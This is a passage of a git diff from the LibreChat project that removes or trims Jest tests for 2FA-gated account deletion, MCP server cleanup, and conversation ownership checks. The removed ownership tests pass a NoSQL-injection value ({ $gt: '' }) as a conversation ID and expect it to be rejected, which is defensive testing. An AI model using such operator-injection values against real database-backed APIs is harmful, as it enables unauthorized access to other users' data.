- mockDeleteAllUserSessions.mockResolvedValue();
- mockDeleteUserKey.mockResolvedValue();
- mockDeletePresets.mockResolvedValue();
- mockDeleteConvos.mockResolvedValue();
- mockDeleteUserPluginAuth.mockResolvedValue();
- mockDeleteUserById.mockResolvedValue();
- mockDeleteAllSharedLinks.mockResolvedValue();
- mockGetFiles.mockResolvedValue([]);
- mockProcessDeleteRequest.mockResolvedValue();
- mockDeleteFiles.mockResolvedValue();
- mockDeleteToolCalls.mockResolvedValue();
- mockDeleteUserAgents.mockResolvedValue();
- mockDeleteUserPrompts.mockResolvedValue();
-}
-
-beforeEach(() => {
- jest.clearAllMocks();
- stubDeletionMocks();
-});
-
-describe('deleteUserController - 2FA enforcement', () => {
- it('proceeds with deletion when 2FA is not enabled', async () => {
- const req = { user: { id: 'user1', _id: 'user1', email: 'a@b.com' }, body: {} };
- const res = createRes();
- mockGetUserById.mockResolvedValue({ _id: 'user1', twoFactorEnabled: false });
-
- await deleteUserController(req, res);
-
- expect(res.status).toHaveBeenCalledWith(200);
- expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
- expect(mockDeleteMessages).toHaveBeenCalled();
- expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled();
- });
-
- it('proceeds with deletion when user has no 2FA record', async () => {
- const req = { user: { id: 'user1', _id: 'user1', email: 'a@b.com' }, body: {} };
- const res = createRes();
- mockGetUserById.mockResolvedValue(null);
-
- await deleteUserController(req, res);
-
- expect(res.status).toHaveBeenCalledWith(200);
- expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
- });
-
- it('returns error when 2FA is enabled and verification fails with 400', async () => {
- const req = { user: { id: 'user1', _id: 'user1' }, body: {} };
- const res = createRes();
- mockGetUserById.mockResolvedValue({
- _id: 'user1',
- twoFactorEnabled: true,
- totpSecret: 'enc-secret',
- });
- mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 });
-
- await deleteUserController(req, res);
-
- expect(res.status).toHaveBeenCalledWith(400);
- expect(mockDeleteMessages).not.toHaveBeenCalled();
- });
-
- it('returns 401 when 2FA is enabled and invalid TOTP token provided', async () => {
- const existingUser = {
- _id: 'user1',
- twoFactorEnabled: true,
- totpSecret: 'enc-secret',
- };
- const req = { user: { id: 'user1', _id: 'user1' }, body: { token: 'wrong' } };
- const res = createRes();
- mockGetUserById.mockResolvedValue(existingUser);
- mockVerifyOTPOrBackupCode.mockResolvedValue({
- verified: false,
- status: 401,
- message: 'Invalid token or backup code',
- });
-
- await deleteUserController(req, res);
-
- expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
- user: existingUser,
- token: 'wrong',
- backupCode: undefined,
- });
- expect(res.status).toHaveBeenCalledWith(401);
- expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' });
- expect(mockDeleteMessages).not.toHaveBeenCalled();
- });
-
- it('returns 401 when 2FA is enabled and invalid backup code provided', async () => {
- const existingUser = {
- _id: 'user1',
- twoFactorEnabled: true,
- totpSecret: 'enc-secret',
- backupCodes: [],
- };
- const req = { user: { id: 'user1', _id: 'user1' }, body: { backupCode: 'bad-code' } };
- const res = createRes();
- mockGetUserById.mockResolvedValue(existingUser);
- mockVerifyOTPOrBackupCode.mockResolvedValue({
- verified: false,
- status: 401,
- message: 'Invalid token or backup code',
- });
-
- await deleteUserController(req, res);
-
- expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
- user: existingUser,
- token: undefined,
- backupCode: 'bad-code',
- });
- expect(res.status).toHaveBeenCalledWith(401);
- expect(mockDeleteMessages).not.toHaveBeenCalled();
- });
-
- it('deletes account when valid TOTP token provided with 2FA enabled', async () => {
- const existingUser = {
- _id: 'user1',
- twoFactorEnabled: true,
- totpSecret: 'enc-secret',
- };
- const req = {
- user: { id: 'user1', _id: 'user1', email: 'a@b.com' },
- body: { token: '123456' },
- };
- const res = createRes();
- mockGetUserById.mockResolvedValue(existingUser);
- mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
-
- await deleteUserController(req, res);
-
- expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
- user: existingUser,
- token: '123456',
- backupCode: undefined,
- });
- expect(res.status).toHaveBeenCalledWith(200);
- expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
- expect(mockDeleteMessages).toHaveBeenCalled();
- });
-
- it('deletes account when valid backup code provided with 2FA enabled', async () => {
- const existingUser = {
- _id: 'user1',
- twoFactorEnabled: true,
- totpSecret: 'enc-secret',
- backupCodes: [{ codeHash: 'h1', used: false }],
- };
- const req = {
- user: { id: 'user1', _id: 'user1', email: 'a@b.com' },
- body: { backupCode: 'valid-code' },
- };
- const res = createRes();
- mockGetUserById.mockResolvedValue(existingUser);
- mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
-
- await deleteUserController(req, res);
-
- expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
- user: existingUser,
- token: undefined,
- backupCode: 'valid-code',
- });
- expect(res.status).toHaveBeenCalledWith(200);
- expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
- expect(mockDeleteMessages).toHaveBeenCalled();
- });
-});
diff --git a/api/server/controllers/__tests__/deleteUserMcpServers.spec.js b/api/server/controllers/__tests__/deleteUserMcpServers.spec.js
deleted file mode 100644
index fcb3211f24..0000000000
--- a/api/server/controllers/__tests__/deleteUserMcpServers.spec.js
+++ /dev/null
@@ -1,319 +0,0 @@
-const mockGetMCPManager = jest.fn();
-const mockInvalidateCachedTools = jest.fn();
-
-jest.mock('~/config', () => ({
- getMCPManager: (...args) => mockGetMCPManager(...args),
- getFlowStateManager: jest.fn(),
- getMCPServersRegistry: jest.fn(),
-}));
-
-jest.mock('~/server/services/Config/getCachedTools', () => ({
- invalidateCachedTools: (...args) => mockInvalidateCachedTools(...args),
-}));
-
-jest.mock('~/server/services/Config', () => ({
- getAppConfig: jest.fn(),
- getMCPServerTools: jest.fn(),
-}));
-
-const mongoose = require('mongoose');
-const { mcpServerSchema } = require('@librechat/data-schemas');
-const { MongoMemoryServer } = require('mongodb-memory-server');
-const {
- ResourceType,
- AccessRoleIds,
- PrincipalType,
- PermissionBits,
-} = require('librechat-data-provider');
-const permissionService = require('~/server/services/PermissionService');
-const { deleteUserMcpServers } = require('~/server/controllers/UserController');
-const { AclEntry, AccessRole } = require('~/db/models');
-
-let MCPServer;
-
-describe('deleteUserMcpServers', () => {
- let mongoServer;
-
- beforeAll(async () => {
- mongoServer = await MongoMemoryServer.create();
- const mongoUri = mongoServer.getUri();
- MCPServer = mongoose.models.MCPServer || mongoose.model('MCPServer', mcpServerSchema);
- await mongoose.connect(mongoUri);
-
- await AccessRole.create({
- accessRoleId: AccessRoleIds.MCPSERVER_OWNER,
- name: 'MCP Server Owner',
- resourceType: ResourceType.MCPSERVER,
- permBits:
- PermissionBits.VIEW | PermissionBits.EDIT | PermissionBits.DELETE | PermissionBits.SHARE,
- });
-
- await AccessRole.create({
- accessRoleId: AccessRoleIds.MCPSERVER_VIEWER,
- name: 'MCP Server Viewer',
- resourceType: ResourceType.MCPSERVER,
- permBits: PermissionBits.VIEW,
- });
- }, 20000);
-
- afterAll(async () => {
- await mongoose.disconnect();
- await mongoServer.stop();
- });
-
- beforeEach(async () => {
- await MCPServer.deleteMany({});
- await AclEntry.deleteMany({});
- jest.clearAllMocks();
- });
-
- test('should delete solely-owned MCP servers and their ACL entries', async () => {
- const userId = new mongoose.Types.ObjectId();
-
- const server = await MCPServer.create({
- serverName: 'sole-owned-server',
- config: { title: 'Test Server' },
- author: userId,
- });
-
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: userId,
- resourceType: ResourceType.MCPSERVER,
- resourceId: server._id,
- accessRoleId: AccessRoleIds.MCPSERVER_OWNER,
- grantedBy: userId,
- });
-
- mockGetMCPManager.mockReturnValue({
- disconnectUserConnection: jest.fn().mockResolvedValue(undefined),
- });
-
- await deleteUserMcpServers(userId.toString());
-
- expect(await MCPServer.findById(server._id)).toBeNull();
-
- const aclEntries = await AclEntry.find({
- resourceType: ResourceType.MCPSERVER,
- resourceId: server._id,
- });
- expect(aclEntries).toHaveLength(0);
- });
-
- test('should disconnect MCP sessions and invalidate tool cache before deletion', async () => {
- const userId = new mongoose.Types.ObjectId();
- const mockDisconnect = jest.fn().mockResolvedValue(undefined);
-
- const server = await MCPServer.create({
- serverName: 'session-server',
- config: { title: 'Session Server' },
- author: userId,
- });
-
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: userId,
- resourceType: ResourceType.MCPSERVER,
- resourceId: server._id,
- accessRoleId: AccessRoleIds.MCPSERVER_OWNER,
- grantedBy: userId,
- });
-
- mockGetMCPManager.mockReturnValue({ disconnectUserConnection: mockDisconnect });
-
- await deleteUserMcpServers(userId.toString());
-
- expect(mockDisconnect).toHaveBeenCalledWith(userId.toString(), 'session-server');
- expect(mockInvalidateCachedTools).toHaveBeenCalledWith({
- userId: userId.toString(),
- serverName: 'session-server',
- });
- });
-
- test('should preserve multi-owned MCP servers', async () => {
- const deletingUserId = new mongoose.Types.ObjectId();
- const otherOwnerId = new mongoose.Types.ObjectId();
-
- const soleServer = await MCPServer.create({
- serverName: 'sole-server',
- config: { title: 'Sole Server' },
- author: deletingUserId,
- });
-
- const multiServer = await MCPServer.create({
- serverName: 'multi-server',
- config: { title: 'Multi Server' },
- author: deletingUserId,
- });
-
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: deletingUserId,
- resourceType: ResourceType.MCPSERVER,
- resourceId: soleServer._id,
- accessRoleId: AccessRoleIds.MCPSERVER_OWNER,
- grantedBy: deletingUserId,
- });
-
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: deletingUserId,
- resourceType: ResourceType.MCPSERVER,
- resourceId: multiServer._id,
- accessRoleId: AccessRoleIds.MCPSERVER_OWNER,
- grantedBy: deletingUserId,
- });
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: otherOwnerId,
- resourceType: ResourceType.MCPSERVER,
- resourceId: multiServer._id,
- accessRoleId: AccessRoleIds.MCPSERVER_OWNER,
- grantedBy: otherOwnerId,
- });
-
- mockGetMCPManager.mockReturnValue({
- disconnectUserConnection: jest.fn().mockResolvedValue(undefined),
- });
-
- await deleteUserMcpServers(deletingUserId.toString());
-
- expect(await MCPServer.findById(soleServer._id)).toBeNull();
- expect(await MCPServer.findById(multiServer._id)).not.toBeNull();
-
- const soleAcl = await AclEntry.find({
- resourceType: ResourceType.MCPSERVER,
- resourceId: soleServer._id,
- });
- expect(soleAcl).toHaveLength(0);
-
- const multiAclOther = await AclEntry.find({
- resourceType: ResourceType.MCPSERVER,
- resourceId: multiServer._id,
- principalId: otherOwnerId,
- });
- expect(multiAclOther).toHaveLength(1);
- expect(multiAclOther[0].permBits & PermissionBits.DELETE).toBeTruthy();
-
- const multiAclDeleting = await AclEntry.find({
- resourceType: ResourceType.MCPSERVER,
- resourceId: multiServer._id,
- principalId: deletingUserId,
- });
- expect(multiAclDeleting).toHaveLength(1);
- });
-
- test('should be a no-op when user has no owned MCP servers', async () => {
- const userId = new mongoose.Types.ObjectId();
-
- const otherUserId = new mongoose.Types.ObjectId();
- const server = await MCPServer.create({
- serverName: 'other-server',
- config: { title: 'Other Server' },
- author: otherUserId,
- });
-
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: otherUserId,
- resourceType: ResourceType.MCPSERVER,
- resourceId: server._id,
- accessRoleId: AccessRoleIds.MCPSERVER_OWNER,
- grantedBy: otherUserId,
- });
-
- await deleteUserMcpServers(userId.toString());
-
- expect(await MCPServer.findById(server._id)).not.toBeNull();
- expect(mockGetMCPManager).not.toHaveBeenCalled();
- });
-
- test('should handle gracefully when MCPServer model is not registered', async () => {
- const originalModel = mongoose.models.MCPServer;
- delete mongoose.models.MCPServer;
-
- try {
- const userId = new mongoose.Types.ObjectId();
- await expect(deleteUserMcpServers(userId.toString())).resolves.toBeUndefined();
- } finally {
- mongoose.models.MCPServer = originalModel;
- }
- });
-
- test('should handle gracefully when MCPManager is not available', async () => {
- const userId = new mongoose.Types.ObjectId();
-
- const server = await MCPServer.create({
- serverName: 'no-manager-server',
- config: { title: 'No Manager Server' },
- author: userId,
- });
-
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: userId,
- resourceType: ResourceType.MCPSERVER,
- resourceId: server._id,
- accessRoleId: AccessRoleIds.MCPSERVER_OWNER,
- grantedBy: userId,
- });
-
- mockGetMCPManager.mockReturnValue(null);
-
- await deleteUserMcpServers(userId.toString());
-
- expect(await MCPServer.findById(server._id)).toBeNull();
- });
-
- test('should delete legacy MCP servers that have author but no ACL entries', async () => {
- const legacyUserId = new mongoose.Types.ObjectId();
-
- const legacyServer = await MCPServer.create({
- serverName: 'legacy-server',
- config: { title: 'Legacy Server' },
- author: legacyUserId,
- });
-
- mockGetMCPManager.mockReturnValue({
- disconnectUserConnection: jest.fn().mockResolvedValue(undefined),
- });
-
- await deleteUserMcpServers(legacyUserId.toString());
-
- expect(await MCPServer.findById(legacyServer._id)).toBeNull();
- });
-
- test('should delete both ACL-owned and legacy servers in one call', async () => {
- const userId = new mongoose.Types.ObjectId();
-
- const aclServer = await MCPServer.create({
- serverName: 'acl-server',
- config: { title: 'ACL Server' },
- author: userId,
- });
-
- await permissionService.grantPermission({
- principalType: PrincipalType.USER,
- principalId: userId,
- resourceType: ResourceType.MCPSERVER,
- resourceId: aclServer._id,
- accessRoleId: AccessRoleIds.MCPSERVER_OWNER,
- grantedBy: userId,
- });
-
- const legacyServer = await MCPServer.create({
- serverName: 'legacy-mixed-server',
- config: { title: 'Legacy Mixed' },
- author: userId,
- });
-
- mockGetMCPManager.mockReturnValue({
- disconnectUserConnection: jest.fn().mockResolvedValue(undefined),
- });
-
- await deleteUserMcpServers(userId.toString());
-
- expect(await MCPServer.findById(aclServer._id)).toBeNull();
- expect(await MCPServer.findById(legacyServer._id)).toBeNull();
- });
-});
diff --git a/api/server/controllers/__tests__/deleteUserResourceCoverage.spec.js b/api/server/controllers/__tests__/deleteUserResourceCoverage.spec.js
deleted file mode 100644
index b08e502800..0000000000
--- a/api/server/controllers/__tests__/deleteUserResourceCoverage.spec.js
+++ /dev/null
@@ -1,53 +0,0 @@
-const fs = require('fs');
-const path = require('path');
-const { ResourceType } = require('librechat-data-provider');
-
-/**
- * Maps each ResourceType to the cleanup function name that must appear in
- * deleteUserController's source to prove it is handled during user deletion.
- *
- * When a new ResourceType is added, this test will fail until a corresponding
- * entry is added here (or to NO_USER_CLEANUP_NEEDED) AND the actual cleanup
- * logic is implemented.
- */
-const HANDLED_RESOURCE_TYPES = {
- [ResourceType.AGENT]: 'deleteUserAgents',
- [ResourceType.REMOTE_AGENT]: 'deleteUserAgents',
- [ResourceType.PROMPTGROUP]: 'deleteUserPrompts',
- [ResourceType.MCPSERVER]: 'deleteUserMcpServers',
-};
-
-/**
- * ResourceTypes that are ACL-tracked but have no per-user deletion semantics
- * (e.g., system resources, public-only). Must be explicitly listed here with
- * a justification to prevent silent omissions.
- */
-const NO_USER_CLEANUP_NEEDED = new Set([
- // Example: ResourceType.SYSTEM_TEMPLATE — public/system; not user-owned
-]);
-
-describe('deleteUserController - resource type coverage guard', () => {
- let controllerSource;
-
- beforeAll(() => {
- controllerSource = fs.readFileSync(path.resolve(__dirname, '../UserController.js'), 'utf-8');
- });
-
- test('every ResourceType must have a documented cleanup handler or explicit exclusion', () => {
- const allTypes = Object.values(ResourceType);
- const handledTypes = Object.keys(HANDLED_RESOURCE_TYPES);
- const unhandledTypes = allTypes.filter(
- (t) => !handledTypes.includes(t) && !NO_USER_CLEANUP_NEEDED.has(t),
- );
-
- expect(unhandledTypes).toEqual([]);
- });
-
- test('every cleanup handler referenced in HANDLED_RESOURCE_TYPES must appear in the controller source', () => {
- const uniqueHandlers = [...new Set(Object.values(HANDLED_RESOURCE_TYPES))];
-
- for (const handler of uniqueHandlers) {
- expect(controllerSource).toContain(handler);
- }
- });
-});
diff --git a/api/server/controllers/agents/__tests__/openai.spec.js b/api/server/controllers/agents/__tests__/openai.spec.js
index 50c61b7288..8592c79a2d 100644
--- a/api/server/controllers/agents/__tests__/openai.spec.js
+++ b/api/server/controllers/agents/__tests__/openai.spec.js
@@ -82,13 +82,6 @@ jest.mock('~/models/spendTokens', () => ({
spendStructuredTokens: mockSpendStructuredTokens,
}));
-const mockGetMultiplier = jest.fn().mockReturnValue(1);
-const mockGetCacheMultiplier = jest.fn().mockReturnValue(null);
-jest.mock('~/models/tx', () => ({
- getMultiplier: mockGetMultiplier,
- getCacheMultiplier: mockGetCacheMultiplier,
-}));
-
jest.mock('~/server/controllers/agents/callbacks', () => ({
createToolEndCallback: jest.fn().mockReturnValue(jest.fn()),
}));
@@ -99,7 +92,6 @@ jest.mock('~/server/services/PermissionService', () => ({
jest.mock('~/models/Conversation', () => ({
getConvoFiles: jest.fn().mockResolvedValue([]),
- getConvo: jest.fn().mockResolvedValue(null),
}));
jest.mock('~/models/Agent', () => ({
@@ -111,8 +103,6 @@ jest.mock('~/models/Agent', () => ({
getAgents: jest.fn().mockResolvedValue([]),
}));
-const mockUpdateBalance = jest.fn().mockResolvedValue({});
-const mockBulkInsertTransactions = jest.fn().mockResolvedValue(undefined);
jest.mock('~/models', () => ({
getFiles: jest.fn(),
getUserKey: jest.fn(),
@@ -122,8 +112,6 @@ jest.mock('~/models', () => ({
getUserCodeFiles: jest.fn(),
getToolFilesByIds: jest.fn(),
getCodeGeneratedFiles: jest.fn(),
- updateBalance: mockUpdateBalance,
- bulkInsertTransactions: mockBulkInsertTransactions,
}));
describe('OpenAIChatCompletionController', () => {
@@ -161,92 +149,13 @@ describe('OpenAIChatCompletionController', () => {
};
});
- describe('conversation ownership validation', () => {
- it('should skip ownership check when conversation_id is not provided', async () => {
- const { getConvo } = require('~/models/Conversation');
- await OpenAIChatCompletionController(req, res);
- expect(getConvo).not.toHaveBeenCalled();
- });
-
- it('should return 400 when conversation_id is not a string', async () => {
- const { validateRequest } = require('@librechat/api');
- validateRequest.mockReturnValueOnce({
- request: { model: 'agent-123', messages: [], stream: false, conversation_id: { $gt: '' } },
- });
-
- await OpenAIChatCompletionController(req, res);
- expect(res.status).toHaveBeenCalledWith(400);
- });
-
- it('should return 404 when conversation is not owned by user', async () => {
- const { validateRequest } = require('@librechat/api');
- const { getConvo } = require('~/models/Conversation');
- validateRequest.mockReturnValueOnce({
- request: {
- model: 'agent-123',
- messages: [],
- stream: false,
- conversation_id: 'convo-abc',
- },
- });
- getConvo.mockResolvedValueOnce(null);
-
- await OpenAIChatCompletionController(req, res);
- expect(getConvo).toHaveBeenCalledWith('user-123', 'convo-abc');
- expect(res.status).toHaveBeenCalledWith(404);
- });
-
- it('should proceed when conversation is owned by user', async () => {
- const { validateRequest } = require('@librechat/api');
- const { getConvo } = require('~/models/Conversation');
- validateRequest.mockReturnValueOnce({
- request: {
- model: 'agent-123',
- messages: [],
- stream: false,
- conversation_id: 'convo-abc',
- },
- });
- getConvo.mockResolvedValueOnce({ conversationId: 'convo-abc', user: 'user-123' });
-
- await OpenAIChatCompletionController(req, res);
- expect(getConvo).toHaveBeenCalledWith('user-123', 'convo-abc');
- expect(res.status).not.toHaveBeenCalledWith(404);
- });
-
- it('should return 500 when getConvo throws a DB error', async () => {
- const { validateRequest } = require('@librechat/api');
- const { getConvo } = require('~/models/Conversation');
- validateRequest.mockReturnValueOnce({
- request: {
- model: 'agent-123',
- messages: [],
- stream: false,
- conversation_id: 'convo-abc',
- },
- });
- getConvo.mockRejectedValueOnce(new Error('DB connection failed'));
-
- await OpenAIChatCompletionController(req, res);
- expect(res.status).toHaveBeenCalledWith(500);
- });
- });
-
describe('token usage recording', () => {
it('should call recordCollectedUsage after successful non-streaming completion', async () => {
await OpenAIChatCompletionController(req, res);
expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
- {
- spendTokens: mockSpendTokens,
- spendStructuredTokens: mockSpendStructuredTokens,
- pricing: { getMultiplier: mockGetMultiplier, getCacheMultiplier: mockGetCacheMultiplier },
- bulkWriteOps: {
- insertMany: mockBulkInsertTransactions,
- updateBalance: mockUpdateBalance,
- },
- },
+ { spendTokens: mockSpendTokens, spendStructuredTokens: mockSpendStructuredTokens },
expect.objectContaining({
user: 'user-123',
conversationId: expect.any(String),
@@ -273,18 +182,12 @@ describe('OpenAIChatCompletionController', () => {
);
});
- it('should pass spendTokens, spendStructuredTokens, pricing, and bulkWriteOps as dependencies', async () => {
+ it('should pass spendTokens and spendStructuredTokens as dependencies', async () => {
await OpenAIChatCompletionController(req, res);
const [deps] = mockRecordCollectedUsage.mock.calls[0];
expect(deps).toHaveProperty('spendTokens', mockSpendTokens);
expect(deps).toHaveProperty('spendStructuredTokens', mockSpendStructuredTokens);
- expect(deps).toHaveProperty('pricing');
- expect(deps.pricing).toHaveProperty('getMultiplier', mockGetMultiplier);
- expect(deps.pricing).toHaveProperty('getCacheMultiplier', mockGetCacheMultiplier);
- expect(deps).toHaveProperty('bulkWriteOps');
- expect(deps.bulkWriteOps).toHaveProperty('insertMany', mockBulkInsertTransactions);
- expect(deps.bulkWriteOps).toHaveProperty('updateBalance', mockUpdateBalance);
});
it('should include model from primaryConfig in recordCollectedUsage params', async () => {
diff --git a/api/server/controllers/agents/__tests__/responses.unit.spec.js b/api/server/controllers/agents/__tests__/responses.unit.spec.js
index e34f0ccf73..e16ca394b2 100644
--- a/api/server/controllers/agents/__tests__/responses.unit.spec.js
+++ b/api/server/controllers/agents/__tests__/responses.unit.spec.js
@@ -106,13 +106,6 @@ jest.mock('~/models/spendTokens', () => ({
spendStructuredTokens: mockSpendStructuredTokens,
}));
-const mockGetMultiplier = jest.fn().mockReturnValue(1);
-const mockGetCacheMultiplier = jest.fn().mockReturnValue(null);
-jest.mock('~/models/tx', () => ({
- getMultiplier: mockGetMultiplier,
- getCacheMultiplier: mockGetCacheMultiplier,
-}));
-
jest.mock('~/server/controllers/agents/callbacks', () => ({
createToolEndCallback: jest.fn().mockReturnValue(jest.fn()),
createResponsesToolEndCallback: jest.fn().mockReturnValue(jest.fn()),
@@ -138,8 +131,6 @@ jest.mock('~/models/Agent', () => ({
getAgents: jest.fn().mockResolvedValue([]),
}));
-const mockUpdateBalance = jest.fn().mockResolvedValue({});
-const mockBulkInsertTransactions = jest.fn().mockResolvedValue(undefined);
jest.mock('~/models', () => ({
getFiles: jest.fn(),
getUserKey: jest.fn(),
@@ -150,8 +141,6 @@ jest.mock('~/models', () => ({
getUserCodeFiles: jest.fn(),
getToolFilesByIds: jest.fn(),
getCodeGeneratedFiles: jest.fn(),
- updateBalance: mockUpdateBalance,
- bulkInsertTransactions: mockBulkInsertTransactions,
}));
describe('createResponse controller', () => {
@@ -189,117 +178,13 @@ describe('createResponse controller', () => {
};
});
- describe('conversation ownership validation', () => {
- it('should skip ownership check when previous_response_id is not provided', async () => {
- const { getConvo } = require('~/models/Conversation');
- await createResponse(req, res);
- expect(getConvo).not.toHaveBeenCalled();
- });
-
- it('should return 400 when previous_response_id is not a string', async () => {
- const { validateResponseRequest, sendResponsesErrorResponse } = require('@librechat/api');
- validateResponseRequest.mockReturnValueOnce({
- request: {
- model: 'agent-123',
- input: 'Hello',
- stream: false,
- previous_response_id: { $gt: '' },
- },
- });
-
- await createResponse(req, res);
- expect(sendResponsesErrorResponse).toHaveBeenCalledWith(
- res,
- 400,
- 'previous_response_id must be a string',
- 'invalid_request',
- );
- });
-
- it('should return 404 when conversation is not owned by user', async () => {
- const { validateResponseRequest, sendResponsesErrorResponse } = require('@librechat/api');
- const { getConvo } = require('~/models/Conversation');
- validateResponseRequest.mockReturnValueOnce({
- request: {
- model: 'agent-123',
- input: 'Hello',
- stream: false,
- previous_response_id: 'resp_abc',
- },
- });
- getConvo.mockResolvedValueOnce(null);
-
- await createResponse(req, res);
- expect(getConvo).toHaveBeenCalledWith('user-123', 'resp_abc');
- expect(sendResponsesErrorResponse).toHaveBeenCalledWith(
- res,
- 404,
- 'Conversation not found',
- 'not_found',
- );
- });
-
- it('should proceed when conversation is owned by user', async () => {
- const { validateResponseRequest, sendResponsesErrorResponse } = require('@librechat/api');
- const { getConvo } = require('~/models/Conversation');
- validateResponseRequest.mockReturnValueOnce({
- request: {
- model: 'agent-123',
- input: 'Hello',
- stream: false,
- previous_response_id: 'resp_abc',
- },
- });
- getConvo.mockResolvedValueOnce({ conversationId: 'resp_abc', user: 'user-123' });
-
- await createResponse(req, res);
- expect(getConvo).toHaveBeenCalledWith('user-123', 'resp_abc');
- expect(sendResponsesErrorResponse).not.toHaveBeenCalledWith(
- res,
- 404,
- expect.any(String),
- expect.any(String),
- );
- });
-
- it('should return 500 when getConvo throws a DB error', async () => {
- const { validateResponseRequest, sendResponsesErrorResponse } = require('@librechat/api');
- const { getConvo } = require('~/models/Conversation');
- validateResponseRequest.mockReturnValueOnce({
- request: {
- model: 'agent-123',
- input: 'Hello',
- stream: false,
- previous_response_id: 'resp_abc',
- },
- });
- getConvo.mockRejectedValueOnce(new Error('DB connection failed'));
-
- await createResponse(req, res);
- expect(sendResponsesErrorResponse).toHaveBeenCalledWith(
- res,
- 500,
- expect.any(String),
- expect.any(String),
- );
- });
- });
-
describe('token usage recording - non-streaming', () => {
it('should call recordCollectedUsage after successful non-streaming completion', async () => {
await createResponse(req, res);
expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
- {
- spendTokens: mockSpendTokens,
- spendStructuredTokens: mockSpendStructuredTokens,
- pricing: { getMultiplier: mockGetMultiplier, getCacheMultiplier: mockGetCacheMultiplier },
- bulkWriteOps: {
- insertMany: mockBulkInsertTransactions,
- updateBalance: mockUpdateBalance,
- },
- },
+ { spendTokens: mockSpendTokens, spendStructuredTokens: mockSpendStructuredTokens },
expect.objectContaining({
user: 'user-123',
conversationId: expect.any(String),
@@ -324,18 +209,12 @@ describe('createResponse controller', () => {
);
});
- it('should pass spendTokens, spendStructuredTokens, pricing, and bulkWriteOps as dependencies', async () => {
+ it('should pass spendTokens and spendStructuredTokens as dependencies', async () => {
await createResponse(req, res);
const [deps] = mockRecordCollectedUsage.mock.calls[0];
expect(deps).toHaveProperty('spendTokens', mockSpendTokens);
expect(deps).toHaveProperty('spendStructuredTokens', mockSpendStructuredTokens);
- expect(deps).toHaveProperty('pricing');
- expect(deps.pricing).toHaveProperty('getMultiplier', mockGetMultiplier);
- expect(deps.pricing).toHaveProperty('getCacheMultiplier', mockGetCacheMultiplier);
- expect(deps).toHaveProperty('bulkWriteOps');
- expect(deps.bulkWriteOps).toHaveProperty('insertMany', mockBulkInsertTransactions);
- expect(deps.bulkWriteOps).toHaveProperty('updateBalance', mockUpdateBalance);
});
it('should include model from primaryConfig in recordCollectedUsage params', async () => {
@@ -365,15 +244,7 @@ describe('createResponse controller', () => {
expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
- {
- spendTokens: mockSpendTokens,
- spendStructuredTokens: mockSpendStructuredTokens,
- pricing: { getMultiplier: mockGetMultiplier, getCacheMultiplier: mockGetCacheMultiplier },
- bulkWriteOps: {
- insertMany: mockBulkInsertTransactions,
- updateBalance: mockUpdateBalance,
- },
- },
+ { spendTokens: mockSpendTokens, spendStructuredTokens: mockSpendStructuredTokens },
expect.objectContaining({
user: 'user-123',
context: 'message',
diff --git a/api/server/controllers/agents/__tests__/v1.duplicate-actions.spec.js b/api/server/controllers/agents/__tests__/v1.duplicate-actions.spec.js
deleted file mode 100644
index cc298bd03a..0000000000
--- a/api/server/controllers/agents/__tests__/v1.duplicate-actions.spec.js
+++ /dev/null
@@ -1,159 +0,0 @@
-jest.mock('~/server/services/PermissionService', () => ({
- findPubliclyAccessibleResources: jest.fn(),
- findAccessibleResources: jest.fn(),
- hasPublicPermission: jest.fn(),
- grantPermission: jest.fn().mockResolvedValue({}),
-}));
-
-jest.mock('~/server/services/Config', () => ({
- getCachedTools: jest.fn(),
- getMCPServerTools: jest.fn(),
-}));
-
-const mongoose = require('mongoose');
-const { actionDelimiter } = require('librechat-data-provider');
-const { agentSchema, actionSchema } = require('@librechat/data-schemas');
-const { MongoMemoryServer } = require('mongodb-memory-server');
-const { duplicateAgent } = require('../v1');
-
-let mongoServer;
-
-beforeAll(async () => {
- mongoServer = await MongoMemoryServer.create();
- const mongoUri = mongoServer.getUri();
- if (!mongoose.models.Agent) {
- mongoose.model('Agent', agentSchema);
- }
- if (!mongoose.models.Action) {
- mongoose.model('Action', actionSchema);
- }
- await mongoose.connect(mongoUri);
-}, 20000);
-
-afterAll(async () => {
- await mongoose.disconnect();
- await mongoServer.stop();
-});
-
-beforeEach(async () => {
- await mongoose.models.Agent.deleteMany({});
- await mongoose.models.Action.deleteMany({});
-});
-
-describe('duplicateAgentHandler — action domain extraction', () => {
- it('builds duplicated action entries using metadata.domain, not action_id', async () => {
- const userId = new mongoose.Types.ObjectId();
- const originalAgentId = `agent_original`;
-
- const agent = await mongoose.models.Agent.create({
- id: originalAgentId,
- name: 'Test Agent',
- author: userId.toString(),
- provider: 'openai',
- model: 'gpt-4',
- tools: [],
- actions: [`api.example.com${actionDelimiter}act_original`],
- versions: [{ name: 'Test Agent', createdAt: new Date(), updatedAt: new Date() }],
- });
-
- await mongoose.models.Action.create({
- user: userId,
- action_id: 'act_original',
- agent_id: originalAgentId,
- metadata: { domain: 'api.example.com' },
- });
-
- const req = {
- params: { id: agent.id },
- user: { id: userId.toString() },
- };
- const res = {
